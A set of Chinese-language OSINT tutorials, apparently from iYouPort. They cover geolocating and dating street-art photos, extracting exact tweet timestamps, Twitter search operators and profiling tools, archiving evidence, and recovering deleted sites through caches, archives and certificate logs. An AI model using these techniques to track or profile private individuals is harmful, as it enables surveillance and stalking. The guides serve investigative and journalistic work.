如上图的例子。首先看画面中的图像，还有一些模棱两可的文字，也许是PP！E，PP！R AP！C 等等。贴纸本身看起来比较新，不过确实有一些边缘出现磨损。似乎没有什么污垢或其他风化现象，说明这块

贴纸没有放置太久或暴露在风雨中。也许它是在一个有顶篷之类的遮盖物的地方？

尽管做了一些被裁剪的反向图像搜索和一些广泛的谷歌 Dorking，但都没有用。于是不如把重点放在旗帜上。现在，从星星的间距来看，不可能排除超过三颗星，其他的星星隐藏在那个卡通角色的后面，毕竟条纹在那个角色后面延伸。也就是说，人物右侧没有看到任何星星，而且星星的间距很近。 基于这一点和对设计的其他风格观察，排除了芝加哥的旗帜；对华盛顿特区的旗帜最有信心，因为它似乎与图像中的最接近。

从华盛顿特区的地图上看，虽然已经确定了一个可能的区域，但要找到这个图像还是要花费大量的时间和精力。这也是基于艺术品是在华盛顿特区的假设，毕竟，即使那是华盛顿特区的旗帜，艺术家也可能会在附近的郊区甚至完全不同的城市贴上它。回到照片上，标出一些观察结果，这些观察结果可能有助于进一步缩小地点范围。

首先是这个蓝色的杆子或柱子，贴纸就在上面。在背景中，可以看到照片拍摄的区域被覆盖了，这可能是一座立交桥，或者，看到上面部分有类似颜色的蓝色结构，也许是某种建筑的脚手架（因为颜色相配），或者可能是地下通道或桥梁的装饰区域？向右看，看到了一条人行道，也许是一个扶手。在左边，可以看到似乎是一条街道，在左上角也许是一条红砖人行道和一些树叶。最后可以看到一条黄色的车辆通行分界线。需要注意的是，根据分界线到这根柱子的距离，以及分界线到似乎是人行道的距离，这很可能是一条较小的道路，而不是一条有很多车道的高速公路。单行道上不会有黄色的分界线，从可见的情况来看，似乎不会是四条车道。

这会有一点帮助，现在知道它很可能在一条较小的道路上，有一些蓝色的杆子，可能是建筑，以及街道对面的红砖人行道。先是搜索华盛顿特区的每一个列举的街区，看看他们是否有像照片中这种红砖人行道。幸运的是，这个城市里灰色的人行道似乎是常态，不过根据卫星视图，发现以下街区有大量的红砖人行道：Anacostia、Capital Hill、Capital Riverfront、Downtown、Foggy Bottom、Georgetown、Mt Vernon Square、Shaw、NOMA、Chinatown / Penn Quarter 和 Petworth。这些区域仍然很大，但至少缩小了一些范围。

这些街区很多都离城市中心较近，所以从那里开始，在街景上寻找蓝色的地下通道或小街道附近的建筑脚手架。有很多假阳性，但是根据这些假阳性，说明找对了地方，原来的照片很可能是在脚手架下，因

为许多照片显示，建筑的边缘往往有胶合板以及类似于案例照片中的扶手。还可以看到，蓝色似乎是施工地或脚手架的流行颜色。

在谷歌街景上闲逛，找到了上面的照片。似乎建筑工地附近覆盖在人行道上的脚手架与例子中的柱子的蓝色相匹配。挖掘到更多的网站，能够确定这种颜色的脚手架似乎是当地一家名为 Clark Construction 的建筑公司的最爱。能够通过他们的网站和相关的特区项目，然后交叉参考附近的街景。最终，从他们位于800 K街的项目附近找到了一张与示例照片相匹配的照片。

附近的区域显示一切都符合最初的假设，但街道大小似乎是四车道，其中一个车道正在建设中。

如果没有华盛顿特区旗帜的初步线索，可以肯定的是，永远无法对上面的照片进行地理定位。接下来就是尝试着去推测照片的拍摄时间了。根据他们的网站，该建筑公司称施工是在2019年完成的，然而它并没有给出确切的日期，不过另一个消息来源称是在2019年底完成的。在没有其他参考点的情况下，只能说这张照片是在2019年之前拍摄的。

海报

「图」

海报往往是三者中最未被充分开发的信息，但请记住，作品所处的背景可以提供有关大致位置的线索。分析海报的最大好处是，它可以提供关于作品创作时间的巨大洞察力。要特别注意材料和任何重叠的物体，无论是贴纸还是其他涂鸦作品。

一些经常被街头艺术家用作海报的物品，如小招牌，可能更容易更换。任何污损、移除或标记过的迹象都可以帮助建立一个年表，说明海报如何随着时间的推移而变化。临时结构，如那些与建筑相关的结构，可能有一个很短的时间框架，而更多的永久性结构在高流量地区可能有多个图像在谷歌街景中可以进行比较。

上面的例子显示了看似上锁的门或墙板，其前面有两个海报。尽管有大量的英文贴纸，但这些标识提供了足够的信息，可以迅速确定照片是在日本拍摄的。这些贴纸也表明，这里是日本人流密集的旅游区，会有外来的街头艺人，使用非日语。

在地图上搜索 “Bic Camera Select” 的结果，马上就能找到东京原宿

竹下通街的位置。这符合之前所说的是西方人喜欢的旅游区。

快速浏览一下最近的街景，可以确认这是正确的商店，根据招牌和相匹配的街头艺术作品（2020年1月以来的最新照片）。

与第一个例子类似，可以通过查看同一区域的已知照片来确定目标照片的拍摄时间。可以看到，目前这两块门板是在2016年1月之前创建的，没过多久，两块门板的表面就出现了大量的街头艺术。以下是2016年1月和2016年12月的对比。

直到2018年4月，才看到一张描绘油漆变化的照片，与目标照片相符。我们知道这是一个以街头艺术著称的高流量地区，所以下面的照片很可能是最近在重新喷漆后拍摄的，因为门板上没有任何街头艺术的迹象。

2019年5月的照片似乎展示了一些更接近最初示例图像的样子。请特别注意每个门板底部的两个大的绿色图案上似乎是小猫贴纸。可以在这里看到，它们是在油漆喷涂在它们上面之前贴上的。另外，可以观察到左侧涂鸦底部的过度喷涂。

现在，可以将这张2019年5月的照片（左）与2020年1月的最新一张照片（右）进行比较，看看示例图像在时间线上最可能匹配的地方。您可能想在谷歌街景中打开该区域，以便能够看到所有的细节。两者之间有几点需要注意。

首先是没有小猫咪贴纸。在第一张图片中，似乎有两张已经脱落或者被人取走了。到了后面的照片中，所有的贴纸都不见了，说明要么是被人故意撕掉的，要么就是这些贴纸的附着力都很差，最后自行脱落了。还可以看到，在这几张照片之间，根据正面残留的贴纸，可以看出使用的是同一把锁（考虑到时间过短，并不太令人意外）。同样值得注意的是，底部的绿色过度喷漆展示了该图案被重复使用，虽然左边框架中的海报被替换成了不同的版本。最后，请注意左边画框右侧的两张贴纸，以及它们的红色边框是如何随着时间的推移而褪色的。

那么示例照片在时间轴上的位置是什么呢？它应该介于上面两张照片之间的时间，但根据一些贴纸的褪色情况，很可能更接近第二张照片而不是第一张的时间。将这三张照片并排放在一起，可以看到，在原始示例图像中（中心），左边涂鸦右侧的贴纸，已经失去了大部分边缘的红色，而2019年5月的第一张图片仍然显示了大部分的红色。可以看到左边绿色涂鸦背景的白色线条也有类似程度的褪色。2020年1月照片上许多新贴纸的存在可以表明，示例照片的拍摄一定发生在最

后一张照片之前。

简单说就是：首先是广泛地搜索，尤其是注意细节，细节中蕴含着线索；其次是知道可以去哪些地方找，以及找什么。搭配各种推理，以尽可能缩小范围。您学到了吗？〇

Leveraging Street Art in OSINT Investigations

原文

深挖推特：如何从推文中提取准确的元数据？ - iYouPort

开源情报-每个人都可用的武器

其实非常简单，只是大多数人平时没有注意到这点

「图」

「图」

对于某些调查来说，重要的是要找出在 Twitter 上发布帖子的确切时间。比如可能会要求您调查目标用户通常何时处于活动状态 —— 您可以联想各种需求，从关系网络调查、到位置判断、到突袭计划 ……

Aware Online 介绍了一种方法非常使用《Interpreting metadata on Twitter》

您看到的时间真的正确吗？

如果您经常查看发布的 Tweets 的确切时间，您可能已经注意到了，同一帖子的时间显示并不总是相同的。无论您是否登录、以及使用哪个帐户登录、或者使用什么设备登录，都会产生很大的不同。

作为研究人员或调查人员，您需要确定自己的调查目标。如果犯了一个错误，您不仅会感到尴尬，而且还会给您的调查带来严重后果。

本文将解释如何找到 Tweet 本身、Retweets、和评论的确切时间。

时间和元数据

在 Twitter 上发布消息的确切时间是一种元数据。您可以将元数据视为表明其他数据的数据。

比如 元数据的示例包括特定 Word 文档作者的姓名以及该文档的标题和创建时间。这三者都对该文档有说明作用。

调查中的元数据

元数据嵌入了许多数据中，这对于调查人员来说会很有用。毕竟，您不仅手中有“普通”数据，而且还包含说明该数据的数据。

并且，这些数据有时包含的信息超出您的想象。例如，用数码相机拍摄的照片甚至可能包含日期、时间和GPS坐标。这可以使您精确地识别照片拍摄的时间和位置。

- 《关于元数据的强大能力》
- 《关于获取和篡改元数据的工具》

Twitter 上的元数据

阅读以上内容后，您可能会想到从 Twitter 上发布的照片中定位GPS坐标。不幸的是，这行不通。大型网站和社交媒体（例如 Facebook，Twitter 和 LinkedIn）在上传后会删除此类信息 —— 只是对用户删除，这些寡头公司自己保留。

对您来说，这意味着您不再可以从照片中提取此信息。有时候，小型网站或社交媒体反而可以查看元数据。无论如何，尝试不会有任何伤害。

幸运的是，您可以对发布的消息或评论在 Twitter 上进行映射。有时甚至可以找到来自哪个位置。下面将解释如何做这件事，并没有那么困难。

登录与未登录的区别

要了解我们在说什么，建议您在 Twitter 上查看随机消息并记下消息的发布时间。请务必在登录时和退出后各执行一次。您看到差异了吗？

在下面的图像中，您会看到同一条 Tweet，左图显示了未登录时看到的时间，右图显示的是登录后看到的时间。

两张图片均显示日期为2015年1月23日，但时间有所不同：左图为 02:57，右图为 11:57 a.m.。

那么究竟哪一个是正确的？为什么会有这种差异？

「图」

「图」

找出正确的时间

为了找到正确的时间，您必须搜索相关消息的Unix时间戳。

“Unix时间戳”也称为 “Epoch时间”。无需更多讨论这个概念，它是一种指示特定时间的系统。

由于根据该系统时刻在全球范围内是相同的，因此Unix时间戳在计算机系统中得到了广泛使用。如果您知道 “Unix时间戳”，就可以将此时间戳转换为本地时区中的时间。

查找Unix时间戳

下面将解释如何在 Twitter 上找到消息的 Unix 时间戳。您可以在登录时从 Tweets 检索 Unix 时间戳，也可以在未登录时检索：两者都将为您提供完全相同的答案。

还是上面这个案例，登录和未登录状态下显示不同的时间。这时候您只需要移动鼠标到时间的位置，右键点击时间，然后点击 Inspect Element。

「图」

「图」

「图」

「图」

然后您就可以看到下面这样的画面。您将看到已打开Web浏览器的“开发人员工具”，并且某些信息以蓝色突出显示。

您也可以通过单击F12并选择消息的日期来做到同样的事。

在下面的信息中，data-time =“ 1422010676” 部分很重要，因为它包含消息的Unix时间戳。您需要时间戳 “1422010676”来找出消息的正确发布时间。

「图」

「图」

转换Unix时间戳

现在您知道需要 Unix 时间戳来查找消息的日期了。将 Unix 时间戳转换为本地时间的一种方法是通过 WolframAlpha 等网站的工具。

如下所示，WolframAlpha 网站将 Unix 时间戳 1422010676 转换为 10:57:56 am UTC。

「图」

「图」

您还可以通过 Epochconverter 网站将 Unix 时间戳转换为 “真实 ”时间。如下所示，Unix 时间戳 1422010676 被转换为 GMT 10:57:56。两个结果完全相同。

「图」

「图」

这是什么意思？

WolframAlpha 网站上的工具和 Epochconverter 网站上的工具都将 Unix 时间戳 1422010676 显示为 10:57:56。但 UTC 和 GMT 确实有所不同。 GMT 是时区，而UTC不是时区。即使将时钟设置为向前（“夏令时”）或向后（“冬令时”），两种时间格式都不会改变。

如果您想在当地时区理解 GMT / UTC 10:57:56，则必须考虑夏令时和冬令时。此外还必须考虑您的本地时区。

比如荷兰位于CET时区，即 “欧洲中部时间”。该时区比UTC早1小时，在夏季又要加一小时。由于目标帖子是在2015年1月23日发布的，因此必须考虑冬季时间。也就是说转换为当地时间后就是 11:57:56 (10:57:56 ＋ 1 小时)。

那为什么在Twitter上会有不同的时间？

如上所述，如果您未登录，Twitter 会将时间记录为02:57，如果您登录，则同一条消息会在显示为 11:57 a.m.。为什么 Twitter 不会自动将此时间转换为本地时区？

一个可能是每个 Twitter 帐户都有自己的时区设置。例如，如果时区设置为 GMT ＋ 01：00（阿姆斯特丹）时区，于是显示出来的就是 11:57 的时间。

如果随后使用其中一个假身份帐户登录，则会看到完全不同的时间显示。

下面的左图是使用时间设置为 GMT-07：00 山地时间（美国和加拿大）的帐户登录时看到的时间显示。右图是使用时间设置为 GMT ＋01:00 Amsterdam 的账户查看时显示的时间。

「图」

「图」

最后

您是否要确保对一条消息的留言、转发或评论找到正确的时间？您就需要先找到时间戳记，并将该时间戳记转换为本地时区，考虑一年中的时间（夏季时间和冬季时间）。您是否已登录都无关紧要，因为时间戳始终是相同的。

如果您已登录，最好从您的 Twitter 的帐户中将其设置为调查目标相同的时区。通过设置和隐私」帐户」时区，使用 GoodTwitter 返回旧版推特。

就是这样，您学会了吗？〇

《Interpreting metadata on Twitter》

原文

深挖推特：提供技巧、工具和平台 - iYouPort

开源情报-每个人都可用的武器

干货，不废话。关于 —— 如何更有效地从推特精准挖掘你想要的任何东西。

「图」

「图」

基本运算符的简单示例

它们可以组合使用。别忘了这里介绍的技巧：《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

cybersec 带有 “cybersec” 一词的推文。

security -information 带有 “security” 这个词的推文，但没有 “information” 这个词。

HongKong lang:en “HongKong” 相关推文，仅限英文。您可以换任何语种，使用 fr，nl，ar，bg，cs 等。

filter:verified elections 经过验证的帐户发布有关选举的信息。

from:username 你想要的目标用户发送的推文。

to:username -filter:links 发送给目标用户的推文，没有链接。

hongkong filter:retweets 旨在显示 hongkong 相关内容的转推。

hongkong exclude:retweets 过滤掉转推的 hongkong 推文。

filter:replies cybersecurity 回复给 cybersecurity 推文的文本。

exclude:replies cybersecurity 没有人回复的 Cybersecurity 推文。

security list:TIME/time-staff security lists 中的推特账户。

security min_retweets:10 Security 推文被转发了至少10次或更多。

security min_faves:10 Security 推文被 点赞/收藏 10次或更多。

conference near:cityname 列出您输入的城市附近举行的会议/研讨会。

security near:LA within:10mi 来自以 Los Angelos 为中心10英里半径内的任何人的有关 Security 的推文。可以更改城市名（美国，2个大写字母）和英里半径数字。

security reviews since:2019–01–01 until:2020–05–01 从2019年1月1日到2020年5月01日内发布的有关 Security 的推文。

hacking filter:links hacking 主题的内容带有关于该主题的链接。

hacking filter:images 有关 hacking 主题的图片。可添加标签以限定搜索。

hacking filter:news 带有新闻来源的 Hacking 主题推文。

videos filter:safe 标记为 safe 的视频内容。

images filter:safe 标记为 safe 的图片内容。

cybersec filter:media 关于 cybersec 的媒体推文。

基本筛选的简单案例 —— 将这些字符串添加到 "“Muted Words” 列表"中

曾经介绍过相关用法，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》。下面简单总结一下。

suggest_activity_tweet 告诉推特算法停止发送 “你可能喜欢” 的推文。

suggest_recycled_tweet_inline 阻止重复的推文。

suggest_grouped_tweet_hashtag 阻止与流行标签相关的推文。

suggest_who_to_follow 这个就不用解释了……

suggest_activity 阻止推荐的用户活动。

suggest_activity_retweet 阻止从特定平台的转发（比如官媒等纯宣传机构）

suggest_timeline_tweet 阻止推特算法根据您的时间轴偏好的“建议”。

suggest_recycled_tweet

suggest_ranked_timeline_tweet

suggest_recap

suggest_activity_tweet_inline

generic-activity-momentsbreaking

您应该可以看懂这些是什么意思了 。

工具和平台

url search **twitter.com/search?q＝elections**

管理帐户

搜索指导

高级搜索

公开搜寻

隐私

Twitter 规则和政策

令人反感的内容

数据保护查询

Twitter API

API reference index

Resources for Researchers 已被其他学术研究人员广泛使用，并已证明对许多应用有效。

tweet objects 一长串的 “root-level” 属性，包括基本属性，例如 id，created_at 和 text。

Lists

TweetDeck

Best Tweets. Retweeted

TWINT—Twitter Intelligence Tool Python，无需API抓取。

x0rz Twitter Profile Analyzer Python。活动、时间、日期、时区、界面语言设置，使用的源（移动应用程序或者Web浏览器等）、地理位置、最常用的标签，被转发最多的用户，被提及最多的用户，基于最常见时区/语言的好友分析。

Twitter-Archive-Parser Python。解析存档。

Tweet Tunnel 旧推文存档。

twando 具有多种功能的 PHP / MySQL Twitter管理工具。监视您的关注者、自动关注和取消关注、自动DM新关注者、定时推文、搜索和大规模关注新用户等等。

Create a simple Twitter bot 做机器人的工具。

Find Twitter ID

About the Markov Chain Twitter Bot

Tweet Beaver 刮任何非私密帐户上的数据。输出到csv。

BackTweets 一个Twitter时间机器，它使您可以在推文历史中搜索链接回您的网站的推文。

TweetDelete 保护隐私批量删除。

最后

以上基本能应付您的日常工作、私人管理、深度调查等方面的使用。运算符可以举一反N哦，而且可以结合起来使用，以帮助您的检索更加精准。〇 广告

原文

留下证据：如何存档开源材料？#OSINT - iYouPort

开源情报-每个人都可用的武器

> 证据很重要。不论您是做调查、写报告还是新闻稿，都需要切实的证据。但是删除很讨厌，不论是发布者自己删除还是审查者移除的，所以您应该有个办法能证实相关内容切实存在过。别提截图，图片太容易被修改了，你完全有口难辩……

「图」

不论您是做在线调研，还是职业媒体，都存在一个证据收集的问题。您需要不停地保存您发现的材料。但如何在您发布调查之后用户删除了帖子、或者被审查者移除了内容，比如 YouTube 上，关于叙利亚战争罪行的视频就会被谷歌移除，根据谷歌的所谓规矩，但是您依旧需要证实您的调查和报道中索引材料的真实性。

存档您使用调查的所有数字证据的主要原因有两个：如果原始来源被删除了，您依然可以保留它，并向您的受众证明材料确实存在；屏幕截图可以很容易被伪造，那些用截图做证据的都不是专业人士，想做一个无可辩驳的专业人士您就必须找到一种方法来保留材料，以表明您没有机会修改内容，也就是它的可证实性。

第三方存档平台

对于大多数内容，包括社交媒体帖子，新闻报道和其他网页，通常有两种服务可用：Archive.today 和 Archive.org。这两个站点将网页保存在自己的服务器上，任何拥有 URL 的人都可以访问它们。更有利的是，这两个站点都会随着时间的推移保存页面的快照，因此您可以观察每次存档时的更改痕迹，例如在编辑新闻文章之前和之后。

我们通常建议在两个站点上保存材料，以便最大化存档内容的数量。我们将总结每个网站的工作方式，以及它们在多个最受欢迎的社交网站上捕获网页的效果。一般来说，Archive.today 在保存社交网络页

面方面更加通用，因为它们通过为这些网站创建帐户以保存页面，同时存档。

Archive.today

在两个主要档案网站中，Archive.is 是功能最多、更友好的网站。然而，它几乎与 Archive.org 差不多，应该被视为不太稳定。此外，由于极端主义内容有时会通过 Archive.today 链接共享，因此该网站在许多国家/地区已被禁止。该站点有备用 URL（Archive.is，Archive.li，Archive.ch ...），可以让您绕过一些（但不是全部）国家的审查，例如俄罗斯、中国和芬兰。

Archive.today 上保存的页面完全来自用户提交的请求，而不是像 Archive.org 那样的自动检索。要在此站点上保存页面，只需在红色框中输入要保存的 URL 即可。

您还可以通过将书签保存到浏览器的书签栏来存档页面，创建一键式路径以保存当前所在页面的快照。要执行此操作，请使用以下 URL 在书签（或收藏夹）栏中保存新页面：javascript:void(open('https://archive.today/?run＝1&url＝'＋encodeURIComponent(document.location)))

只需单击新创建的书签，即可在浏览器的选项卡中保存您打开的任何页面。

或者，您可以单击 Archive.today 首页上的按钮并将其拖动到书签栏，从而无需手动创建书签。

「图」

要检查 URL 是否已保存，请将其放入蓝色框中。

如果您不确定确切的 URL，有更多高级方法可以搜索已保存的页面。例如，如果您要查找所有已归档的 MENA（中东北非）标记的 Bellingcat 新闻文章，请搜索：

「图」

URL 末尾的星号表示 Bellingcat 网站上所有文章的 URL 都以“/ news / mena”开头。

「图」

结果是由输入 URL 的用户手动保存的文章和交叉引用 Archive.org 的已保存页面数据库的混合结果。在某些情况下，您可以访问同一页面的多个版本，因为随着时间的推移可能会对文章进行更改。

Archive.today 的另一个有用功能是将整个页面保存为图像的功能，即使它很长也没问题。但是，这不应该替代生成的实际存档链接，因为屏幕截图可以在保存后进行修改，你很难自证。

「图」

Archive.today 在归档社交媒体页面方面相对称职，但它远非完美。下面列出了各种社交网络中的一系列存档页面。一般的经验法则是，如果您试图存档任何需要绕过隐私设置的社交媒体页面 —— 例如“Facebook上的只有朋友可见”、“Twitter 上的锁推” —— 几乎不可能将页面保存到第三方存档网站，如 Archive.today 或 Archive.org。

在以下示例中，单击每个社交网络的超链接以查看 Archive.today 上的页面。

Facebook：

工作得相当好，对帖子中嵌入的照片和视频有限制。

「图」

Instagram：

不起作用。

「图」

Twitter：

效果很好，限制了推文中的嵌入内容，例如照片、视频和链接。

「图」

VKontakte（VK）

效果很好，对嵌入式照片和视频有限制。

「图」

Odnoklassniki （OK）

效果很好，对嵌入式照片和视频有限制。

「图」

YouTube

只能保存元数据和文字，而不能保存实际视频。

「图」

Archive.org

互联网档案馆成立于 1996 年，已经保存了 20 多年的网页快照，并且预算相当可观，确保了可能无法从 Archive.today 中获得的稳定性。虽然 Archive.org 有许多引人入胜的项目，但我们最感兴趣的是他们的 Internet Archive Wayback Machine （web.archive.org），它允许用户存档特定的网页并查看其他人拍摄的快照。

与 Archive.today 一样，查找和保存网页的过程很简单。在页面顶部搜索 URL 以找到结果，并在右下角输入要保存的 URL：

「图」

Archive.today 依赖于用户提交要保存的页面，但 Archive.org 使用用户请求和脚本来自动保存页面。

「图」

为了保存普通网页和新闻文章，Archive.org 通常优于 Archive.today，因为它允许您点击存档的其他页面。例如，使用 Internet Archive Wayback Machine，您可以像在2014年一样浏览一个网站的大部分内容，所有页面都在四年前保存。在 Archive.today 上，归档页面有很多可用性。

Archive.org 与社交网站的斗争比 Archive.today 更多，但仍有其用途。

Facebook

适用于完全公共页面，但与 Archive.today 不同，无法访问需要

Facebook 帐户的页面。

「图」

Instagram

不起作用。

推特

效果很好，限制了推文中的嵌入内容，例如照片，视频和链接。

「图」

VKontakte（VK）

适用于完全公共页面，但与 Archive.today 不同，无法访问需要 VK 帐户的页面。

「图」

Odnoklassniki（OK）

适用于完全公共页面，但与 Archive.today 不同，无法访问需要 OK 帐户的页面。

「图」

YouTube

在 Wayback Machine 主站点上运行效果不佳，甚至难以保存视频中的元数据和文本。

「图」

但是，"Archive.org" 有一个名为 **YouTube Crawl** 的独立项目，该项目存档来自 **YouTube** 的视频，其元数据完好无损。您可以在此处查看有关如何参与其项目的详细信息，它比在 web.archive.org 和 archive.today 上找到的简单一键式解决方案更具参与性。

保存照片和视频

很明显 Archive.org 和 Archive.today 都无法保存来自 Instagram 和

YouTube 的照片和视频，并且在从 Facebook，VK 和其他网站保存照片方面存在问题。对于这些网站，创建一个托管媒体的第三方“中立”平台要困难得多。相反，我们需要单独下载这些材料，然后提供补充材料（例如显示元数据的屏幕截图，材料的镜像版本等），以证明图像和视频是真实的。

YouTube

有很多网站可以从 YouTube 中提取视频，例如 KeepVid，Y2Mate 和其他网站。只要您有足够的硬盘或云存储空间来存储来自 YouTube 的视频并不困难。请务必截取元数据并将页面保存在**Archive.today**上，以便保留标题、上传日期和说明，即使视频未保存在页面上也是如此。

Instagram

不幸的是，归档 Instagram 页面非常困难。通常情况下，所能做的最好的事就是希望帖子已经反映在另一个网站上了（有许多信誉不佳的网站“借用”Instagram的内容自己托管），并手动以完整的分辨率保存图像。

要以全分辨率访问 **Instagram** 上的照片，请使用以下方法：#在 Instagram 上查找照片的 URL 并删除 ID 号后面的任何内容。例如，URL 为 instagram.com/p/ BfZJzBphUr1 / 的照片的 ID 为 BfZJzBphUr1。如果此 ID 之后有任何内容（例如“take-by = username”），请将其删除。

- 在 URL 末尾键入 / media / ? size = l（小写L）。对于 URL instagram.com/p/BfZJzBphUr1/ ，将是 instagram.com/p/BfZJzBphUr1/media / ? size = l
- 您可以在 Instagram 上访问的最高分辨率照片现在将显示为 JPG 文件。对于前面提到的帖子，可以在此处找到 URL 。

要保存 Instagram 中的视频，您可以使用许多类似于 KeepVid 的网站，例如 Gramblast 和 DreDown。

Facebook

在 Facebook 上以高分辨率下载照片比使用 Instagram 更容易，因为它内置于网站的用户界面中。只需单击“选项”，然后单击照片上的“下载”即可将其从 Facebook 的服务器中取出。图像可能不是相机上的原

始分辨率，但它是您从 Facebook 本身可以获得的最佳分辨率。

「图」

从 Facebook 提取视频有点麻烦，但仍然相对容易。观看视频时，右键单击该视频并选择“显示视频 URL”，以便您可以复制粘贴第三方网站的直接链接以下载视频。

「图」

与 YouTube 和 Instagram 一样，您可以使用多个第三方网站从 Facebook 服务器获取视频，以防上传材料的用户将其删除。FBDown.net 工作得非常好，几乎没有广告或弹出窗口。粘贴从原始来源复制的视频 URL 后，您可以从下面红色框中的链接下载具有最高可用质量的视频。

「图」

VK

在 Vkontakte 上以完整分辨率保存照片非常简单：只需在照片上选择“查看原始照片”，即可以最大可用分辨率访问它。实际上，即使用户从其页面中删除了照片，托管全分辨率图像的 VK 的 URL 也将无限期保留。

「图」

从 VK 下载视频比 YouTube 有点棘手，但可以使用许多免费（和付费）工具。例如，GetVideo.org将允许您以原始分辨率下载上传到 VK 的视频。要获取视频网址，请右键点击视频，然后选择“复制视频链接”。

「图」

请注意，您不应该在此 GetVideo 上单击“最佳质量”，而是选择最高的特定分辨率（例如720p）。请注意，此站点的下载速度非常慢。

「图」

OK

以完整或接近全屏的分辨率抓取照片的最佳方法是选择“全屏”，然后

保存图像或截取图像。

「图」

从 Odnoklassniki 获取视频的网站数量少于其他社交网络，但还是可能的，例如 Video-Download.co。

其他归档解决方案

通常，您不能使用之前讨论过的服务来下载网页或视频，因为它们落后于隐私设置（限制对 Archive.today 这样的网站的访问），或者他们使用像 KeepVid 这样的网站无法吸引的模糊视频播放平台。本指南前面提到的所有解决方案都是免费的; 但是，还有一些其他服务需要一些付款或试用期限制。

有些软件解决方案可以从大多数视频网站中获取材料，即使他们不使用 YouTube 或其他流行平台。尽管需要付费才能完全使用，但 Apowersoft 的视频下载捕获功能对于几乎所有嵌入式视频、包括直播视频，效果都非常出色。该软件能够检测您的浏览器中正在播放的视频，然后（通常）能够从其原始源下载它。如果您有想要下载的特定视频但无法找到任何其他解决方案，则可能需要尝试免费试用此软件。

「图」

对于躲在隐私设置背后的网页，很难找到任何创建该网站的受信任的第三方存档副本的解决方案。将页面保存为 HTML 格式是非常混乱的。另一种解决方案可能是将页面保存为 PDF 文件，方法是将其打印为 PDF（文件 →打印 →打印到 PDF），或者使用 Adobe Create 将网页转换为 PDF。

「图」

也就是说，仍然可以在 PDF 中修改这些页面的内容。目前，显示隐私锁定页面内容的最可信但仍然不完美的方式是，在访问页面时记录您的屏幕（请参阅此处执行此操作的简单解决方案列表）。

「图」

最后，如果你进行了大量的在线研究，并希望有一个自动跟踪解决方案，以便可以顺着自己的步骤，那么可以考虑 Hunch.ly。此插件在激活后会自动存储您在进行调查时访问的每个网页。如果以后删除了其

中一个页面并且您没有将其归档，Hunch.ly 将为您提供保护。

您是否拥有用于存档网页、图像和视频的任何其他网站或资源？请在评论中告诉我们，我们可以将它们添加到本指南中。

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

盗墓OSINT - iYouPort

开源情报-每个人都可用的武器

深度调查过程中经常会遇到您想要的信息/内容/网站已被删除的棘手情况，别怕，办法还是有的，怎么做？

想象一下，您正在调查一个网站。您已经获得了域名，但其内容不可用或已被删除。这种情况在 OSINT 调查中有可能经常出现。不过办法还是有的，本文来说说它可以怎么办。

首先，检查域名注册可能会对您有所帮助；另外有很多网站可以帮助你：

「图」

「图」

如果您经常使用 Google，可能会注意到这个方便的技巧：

- URL旁边有一个小三角形图标；
- 单击三角形，它会为您提供查看 URL 缓存版本的选项，或者它为您提供类似的版本（不一定总是很好）；
- 找到感兴趣的网站的缓存版。

对于那些使用 Bing 和 Yandex 的人来说它们也为你提供了同样的东西。

关于 Google Cache 内容的一个重要注意事项是，它将显示来自 Google 缓存的文本内容。但是，如果您不在URL中添加“&strip = 1”，您的浏览器将从实际站点提取实时 JavaScript、图像和其他内容。当您研究恶意软件站点、煽动仇恨的群组、民族国家内容、和有组织犯罪时，这对您的 **OPSEC**（操作安全性）来说非常重要，因为你肯定不希望他们知道你正在研究他们。

以下使用动画 GIF 说明这一点，步骤如下：#访问感兴趣的网站：http：//cached.sec487.info/

- 在 Google 上搜索该网站；
- 使用 Google 缓存来检索网站，现在，请查看右侧的黄色图像；
- 使用“仅文字”Google 缓存内容；
- 将“＆strip ＝ 1”添加到网址，以提取仅限 Google 缓存的内容；
- 使用开发人员工具查看您的浏览器使用仅限Google缓存的内容进行的网络通话（它只会抓取Google 网站上的内容）；
- 然后尝试相同的操作，但这次不要在URL中添加“＆strip ＝ 1”。

这里有一个动图演示：https://osintcurio.files.wordpress.com/2019/02/cached.gif?w＝644&zoom＝2

其次，档案馆是众所周知的好办法。Archive.org（存档超过3450亿页）和 Archive.today （确保在深灰色框中搜索URL。使用红色框将存档您的页面而不是搜索存档）这是两个存档大量网页的站点。我们以前介绍给。顺便说一句，Archive.today与archive.is相同，由于最近冰岛提起的投诉，该URL可能会在不久后停止运作。

同样有趣的是：检查您是否可以找到在网站上显示的旧图像中的 **EXIF** 元数据。这可能会给你带来一些很好的新研究机会。

有些网站可以帮助您找到与您正在研究的网站类似的网站。这可能不会导致找到您想要查看的确切网站，但是，也许它们已经在其他网站复制了布局，或者它们可能使用了新域名。比如Alexa、Similarweb，Similarsitesearch 或 Similarsites（可能还有更多）都可以帮你寻找类似的网站。

有些网站可以帮助您为您感兴趣的域名创建常见域名拼写错误列表（比如这样）。但是你也可以使用一种非常酷的工具：DNStwist。**DNStwist** 可以查看您的域名可能存在的错别字，如果网站仍在运行，还可以向您提供 **WhoIs**信息。尽管如此，这确实需要一些命令行技能才能使用。

如果您更喜欢使用基于Web的工具而不是命令行工具，请查看 dnstwister.report。它与 DNStwist 的作用相同，唯一的区别是，无论何时输入域名，它都会在后台运行 DNStwist。虽然这种设置非常快，不需要基础知识，但您仍然会因此失去了一些匿名性，因为您要求第三方在您的目标域名上运行 **DNStwist**。

动图示范这一搜索：https://cdn-images-1.medium.com/max/1600/1*1Abx-kZ8wxEHozkJAfTUGQ.gif

不要忘记子域名！有时网站可能看似空洞，但子域名仍然可能充满了许多有趣的东西。Pentest-tools.com 和 Findsubdomains.com 都允许您搜索子域名。请注意前者有一点搜索限制。

另一个信息来源是可以在多个站点上找到的证书透明度日志。例如，当您对旧（子）域名感兴趣时，可以通过像 crt.sh 这样的站点查看这些报告，以查找要转移的旧的、不存在的子域名。例如，可以查看包含“twitter.com”在内的透明度报告中的所有证书，在查看结果时，旧的和已不存在的子域名将显示在历史记录中。

「图」

「图」

查找过期证书甚至隐藏子域名的另一种方法是使用 "Censys.io"。要查看已扫描的过期 Twitter 证书，可以这样查询 Censys：

parsed.names：twitter.com AND tags.raw：“expired”

运行此查询并查看几行后，会看到另一个无效的子域示例：

「图」

「图」

通过在crt.sh或 Censys 中打开证书本身，可以获得更多的信息；通常会引导您访问更多的子域，有时还可以获得有关其所用环境的更详细信息。

